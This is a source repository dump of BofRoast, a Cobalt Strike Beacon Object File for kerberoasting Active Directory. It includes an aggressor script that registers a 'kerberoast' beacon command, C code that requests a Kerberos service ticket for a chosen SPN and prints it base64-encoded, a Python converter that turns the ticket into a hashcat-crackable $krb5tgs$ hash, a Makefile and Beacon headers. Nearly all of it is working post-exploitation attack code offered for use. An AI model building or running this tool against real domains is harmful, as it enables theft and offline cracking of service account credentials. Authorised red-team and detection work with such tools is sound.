[
  {
    "path": "BofRoast/BofRoast.cna",
    "content": "#Register command\nbeacon_command_register(\n    \"kerberoast\",\n    \"kerberoast a given ServicePrincipal\",\n    \"Synopsis: kerberoast <target SPN>\"\n);\n\nalias kerberoast {\n    local('$barch $handle $data $args $target_spn');\n    println(@_);\n    \n    # figure out the arch of this session\n    $barch  = barch($1);\n    \n    # read BOF file\n    $handle = openf(script_resource(\"compiled/kerberoast $+ .$barch $+ .o\"));\n    $data = readb($handle, -1);\n    closef($handle);\n    \n    if(size(@_) == 2)\n    {\n        $args = bof_pack($1, \"Z\", $2);\n    } else {\n        berror($1, \"Incorrect usage!\");\n        berror($1, beacon_command_detail(\"kerberoast\"));\n        return;\n    }\n   \n    # \n    btask($1, \"Executing BofRoast by @Cube0x0\");\n    beacon_inline_execute($1, $data, \"go\", $args);\n}"
  },
  {
    "path": "BofRoast/Makefile",
    "content": "CFLAGS := -Os -s\nCXXFLAGS += -w\nCOMPILED := compiled\nCC_x64 := x86_64-w64-mingw32-gcc\nSTR_x64 := x86_64-w64-mingw32-strip\nCC_x86 := i686-w64-mingw32-gcc\nSTR_x86 := i686-w64-mingw32-strip\nRM := rm\n\nkerberoast:\n\t$(CC_x64) -o $(COMPILED)/kerberoast.x64.o -c kerberoast.c $(CFLAGS) $(CXXFLAGS)\n\t$(STR_x64) -N kerberoast.c $(COMPILED)/kerberoast.x64.o\n\t$(CC_x86) -o $(COMPILED)/kerberoast.x86.o -c kerberoast.c $(CFLAGS) $(CXXFLAGS)\n\t$(STR_x86) -N kerberoast.c $(COMPILED)/kerberoast.x86.o\n\nclean:\n\t$(RM) $(COMPILED)/*.o"
  },
  {
    "path": "BofRoast/apreq2hashcat.py",
    "content": "from pyasn1.codec.ber import decoder\nfrom impacket.krb5.asn1 import *\nimport sys\nimport base64\n\nif __name__ == '__main__':\n    if len(sys.argv) < 2:\n        sys.stderr.write(\"Usage: %s <ticket.kirbi / ticket.b64>\\n\" % (sys.argv[0]))\n        sys.exit(-1)\n\n    with open(sys.argv[1], 'rb') as fd:\n        fd = fd.read()\n        \n        #if base64 blob, decode. \n        if((fd[-1] == 0x3d) or (fd[0] == 0x59)): # 0x3d == '=', 0x59 == 'Y'\n            fd = base64.b64decode(fd)\n        \n        #find AP_REQ offset\n        i = 0 \n        while(fd[i] != 0x6e):\n            i += 1\n        \n        #parse data\n        ap_req = decoder.decode(fd[i:], asn1Spec=AP_REQ())[0]\n        service = ap_req['ticket']['sname']['name-string'][0]._value\n        host = ap_req['ticket']['sname']['name-string'][1]._value\n        domain = ap_req['ticket']['realm']._value\n        encType = ap_req['ticket']['enc-part']['etype']._value\n        hash = ap_req['ticket']['enc-part']['cipher']._value[:16].hex().upper() + \"$\" + ap_req['ticket']['enc-part']['cipher']._value[16:].hex().upper() \n        print(\"$krb5tgs${0}$*{1}${2}${1}/{3}@{2}*${4}\".format(encType, service, domain, host, hash))"
  },
  {
    "path": "BofRoast/kerberoast.c",
    "content": "#define SECURITY_WIN32\n#include <windows.h>\n#include <security.h>\n#include \"lib/libc.h\"\n#include \"lib/beacon.h\"\n\nDECLSPEC_IMPORT SECURITY_STATUS WINAPI SECUR32$AcquireCredentialsHandleW(SEC_WCHAR*, SEC_WCHAR*, ULONG, PLUID, PVOID, SEC_GET_KEY_FN, PVOID, PCredHandle, PTimeStamp);\nDECLSPEC_IMPORT SECURITY_STATUS WINAPI SECUR32$InitializeSecurityContextW(PCredHandle, PCtxtHandle, SEC_WCHAR*, ULONG, ULONG, ULONG, PSecBufferDesc, ULONG, PCtxtHandle, PSecBufferDesc, PULONG, PTimeStamp);\nWINIMPM BOOL WINAPI CRYPT32$CryptBinaryToStringA(CONST BYTE*, DWORD, DWORD, LPSTR, DWORD*);\nDECLSPEC_IMPORT SECURITY_STATUS WINAPI SECUR32$FreeCredentialsHandle(PCredHandle);\nWINBASEAPI void* WINAPI MSVCRT$malloc(SIZE_T);\n\nBOOL RequestApREQ(wchar_t* spn)\n{\n\tCredHandle hCredential;\n\tTimeStamp tsExpiry;\n\tSECURITY_STATUS getHandle = SECUR32$AcquireCredentialsHandleW(\n\t\tNULL,\n\t\tMICROSOFT_KERBEROS_NAME,\n\t\tSECPKG_CRED_OUTBOUND,\n\t\tNULL,\n\t\tNULL,\n\t\tNULL,\n\t\tNULL,\n\t\t&hCredential,\n\t\t&tsExpiry\n\t);\n\n\tif (hCredential.dwLower == NULL)\n\t{\n\t\tBeaconPrintf(CALLBACK_ERROR, \"AcquireCredentialsHandleW failed: %S\\n\", getHandle);\n\t\treturn FALSE;\n\t}\n\n\tCtxtHandle newContext;\n\tSecBuffer secbufPointer = { 0, SECBUFFER_TOKEN, NULL };\n\tSecBufferDesc output = { SECBUFFER_VERSION, 1, &secbufPointer };\n\tULONG contextAttr;\n\tTimeStamp expiry;\n\n\t// Initiate outbound security context via credential handle\n\tSECURITY_STATUS initSecurity = SECUR32$InitializeSecurityContextW(\n\t\t&hCredential,\n\t\tNULL,\n\t\t(SEC_WCHAR*)spn,\n\t\tISC_REQ_ALLOCATE_MEMORY | ISC_REQ_DELEGATE | ISC_REQ_MUTUAL_AUTH,\n\t\t0,\n\t\tSECURITY_NATIVE_DREP,\n\t\tNULL,\n\t\t0,\n\t\t&newContext,\n\t\t&output,\n\t\t&contextAttr,\n\t\tNULL\n\t);\n\n\tif(output.pBuffers->pvBuffer == NULL){\n\t\tBeaconPrintf(CALLBACK_ERROR, \"[-] InitializeSecurityContextW failed: %S\\n\", getHandle);\n\t\treturn FALSE;\n\t}\n\n\tDWORD destSize;\n\t//PBYTE ticket = (PBYTE)output.pBuffers->pvBuffer;\n\t//LONG size = (ULONG)output.pBuffers->cbBuffer;`\n\t//BeaconPrintf(CALLBACK_OUTPUT, \"Token buffer generated %D bytes\\n\", size);\n\n\t// base64 encode\n\tBOOL b64alloc = CRYPT32$CryptBinaryToStringA(\n\t\t(CONST BYTE*)output.pBuffers->pvBuffer,\n\t\t(DWORD)output.pBuffers->cbBuffer,\n\t\tCRYPT_STRING_BASE64 | CRYPT_STRING_NOCRLF,\n\t\tNULL,\n\t\t&destSize);\n\t\n\tLPSTR ticket = (LPSTR)MSVCRT$malloc((SIZE_T)destSize);\n\n\tBOOL b64read = CRYPT32$CryptBinaryToStringA(\n\t\t(CONST BYTE*)output.pBuffers->pvBuffer,\n\t\t(DWORD)output.pBuffers->cbBuffer,\n\t\tCRYPT_STRING_BASE64 | CRYPT_STRING_NOCRLF,\n\t\tticket,\n\t\t&destSize\n\t);\n\n\tif(b64alloc && b64read){\n\t\tBeaconPrintf(CALLBACK_OUTPUT, \"[+] Got Ticket! Convert it with apreq2hashcat.py\");\n\t\tBeaconPrintf(CALLBACK_OUTPUT, \"%s\", ticket);\n\t}else{\n\t\tBeaconPrintf(CALLBACK_ERROR, \"[-] Failed to b64 encode ticket\");\n\t}\n\n\t//cleanup\n\tSECUR32$FreeCredentialsHandle(&hCredential);\n\n\treturn TRUE;\n}\n\nvoid go(char* args, int len)\n{\n\tdatap parser;\n\t\n\tBeaconDataParse(&parser, args, len);\n\t\n\twchar_t* targetSPN = (wchar_t*)BeaconDataExtract(&parser, NULL);\n\t\n\tBeaconPrintf(CALLBACK_OUTPUT,\"[+] Target SPN: %S\\n\", targetSPN);\n\n\tRequestApREQ(targetSPN);\n\t//RequestApREQ(L\"http/win2016.htb.local\");\n}\n"
  },
  {
    "path": "BofRoast/lib/beacon.h",
    "content": "/*\n * Beacon Object Files (BOF)\n * -------------------------\n * A Beacon Object File is a light-weight post exploitation tool that runs\n * with Beacon's inline-execute command.\n *\n * Cobalt Strike 4.1.\n */\n\n/* data API */\ntypedef struct {\n\tchar * original; /* the original buffer [so we can free it] */\n\tchar * buffer;   /* current pointer into our buffer */\n\tint    length;   /* remaining length of data */\n\tint    size;     /* total size of this buffer */\n} datap;\n\nDECLSPEC_IMPORT void    BeaconDataParse(datap * parser, char * buffer, int size);\nDECLSPEC_IMPORT int     BeaconDataInt(datap * parser);\nDECLSPEC_IMPORT short   BeaconDataShort(datap * parser);\nDECLSPEC_IMPORT int     BeaconDataLength(datap * parser);\nDECLSPEC_IMPORT char *  BeaconDataExtract(datap * parser, int * size);\n\n/* format API */\ntypedef struct {\n\tchar * original; /* the original buffer [so we can free it] */\n\tchar * buffer;   /* current pointer into our buffer */\n\tint    length;   /* remaining length of data */\n\tint    size;     /* total size of this buffer */\n} formatp;\n\nDECLSPEC_IMPORT void    BeaconFormatAlloc(formatp * format, int maxsz);\nDECLSPEC_IMPORT void    BeaconFormatReset(formatp * format);\nDECLSPEC_IMPORT void    BeaconFormatFree(formatp * format);\nDECLSPEC_IMPORT void    BeaconFormatAppend(formatp * format, char * text, int len);\nDECLSPEC_IMPORT void    BeaconFormatPrintf(formatp * format, char * fmt, ...);\nDECLSPEC_IMPORT char *  BeaconFormatToString(formatp * format, int * size);\nDECLSPEC_IMPORT void    BeaconFormatInt(formatp * format, int value);\n\n/* Output Functions */\n#define CALLBACK_OUTPUT      0x0\n#define CALLBACK_OUTPUT_OEM  0x1e\n#define CALLBACK_ERROR       0x0d\n#define CALLBACK_OUTPUT_UTF8 0x20\n\nDECLSPEC_IMPORT void   BeaconPrintf(int type, char * fmt, ...);\nDECLSPEC_IMPORT void   BeaconOutput(int type, char * data, int len);\n\n/* Token Functions */\nDECLSPEC_IMPORT BOOL   BeaconUseToken(HANDLE token);\nDECLSPEC_IMPORT void   BeaconRevertToken();\nDECLSPEC_IMPORT BOOL   BeaconIsAdmin();\n\n/* Spawn+Inject Functions */\nDECLSPEC_IMPORT void   BeaconGetSpawnTo(BOOL x86, char * buffer, int length);\nDECLSPEC_IMPORT void   BeaconInjectProcess(HANDLE hProc, int pid, char * payload, int p_len, int p_offset, char * arg, int a_len);\nDECLSPEC_IMPORT void   BeaconInjectTemporaryProcess(PROCESS_INFORMATION * pInfo, char * payload, int p_len, int p_offset, char * arg, int a_len);\nDECLSPEC_IMPORT void   BeaconCleanupProcess(PROCESS_INFORMATION * pInfo);\n\n/* Utility Functions */\nDECLSPEC_IMPORT BOOL   toWideChar(char * src, wchar_t * dst, int max);"
  },
  {
    "path": "BofRoast/lib/libc.h",
    "content": "/*\n * *grumble* *grumble* BOF files don't have access to a libc.\n * So, these are quick implementations of some stuff we need.\n */\n// Credits: https://github.com/rsmudge/CVE-2020-0796-BOF/blob/master/src/libc.c\n#include <stdio.h>\n#include <windows.h>\n\nvoid mycopy(char* dst, const char* src, int size) {\n\tint x;\n\tfor (x = 0; x < size; x++) {\n\t\t*dst = *src;\n\t\tdst++;\n\t\tsrc++;\n\t}\n}\n\nchar mylc(char a) {\n\tif (a >= 'A' && a <= 'Z') {\n\t\treturn a + 32;\n\t}\n\telse {\n\t\treturn a;\n\t}\n}\n\nBOOL mycmpi(char* a, char* b) {\n\twhile (*a != 0 && *b != 0) {\n\t\tif (mylc(*a) != mylc(*b))\n\t\t\treturn FALSE;\n\t\ta++;\n\t\tb++;\n\t}\n\n\treturn TRUE;\n}"
  },
  {
    "path": "README.md",
    "content": "# BofRoast\n\nBeacon Object File repo for roasting Active Directory\n\n### kerberoast\n\nKerberoast a given Service Principal\n\n![](Images/kerberoast.PNG)"
  }
]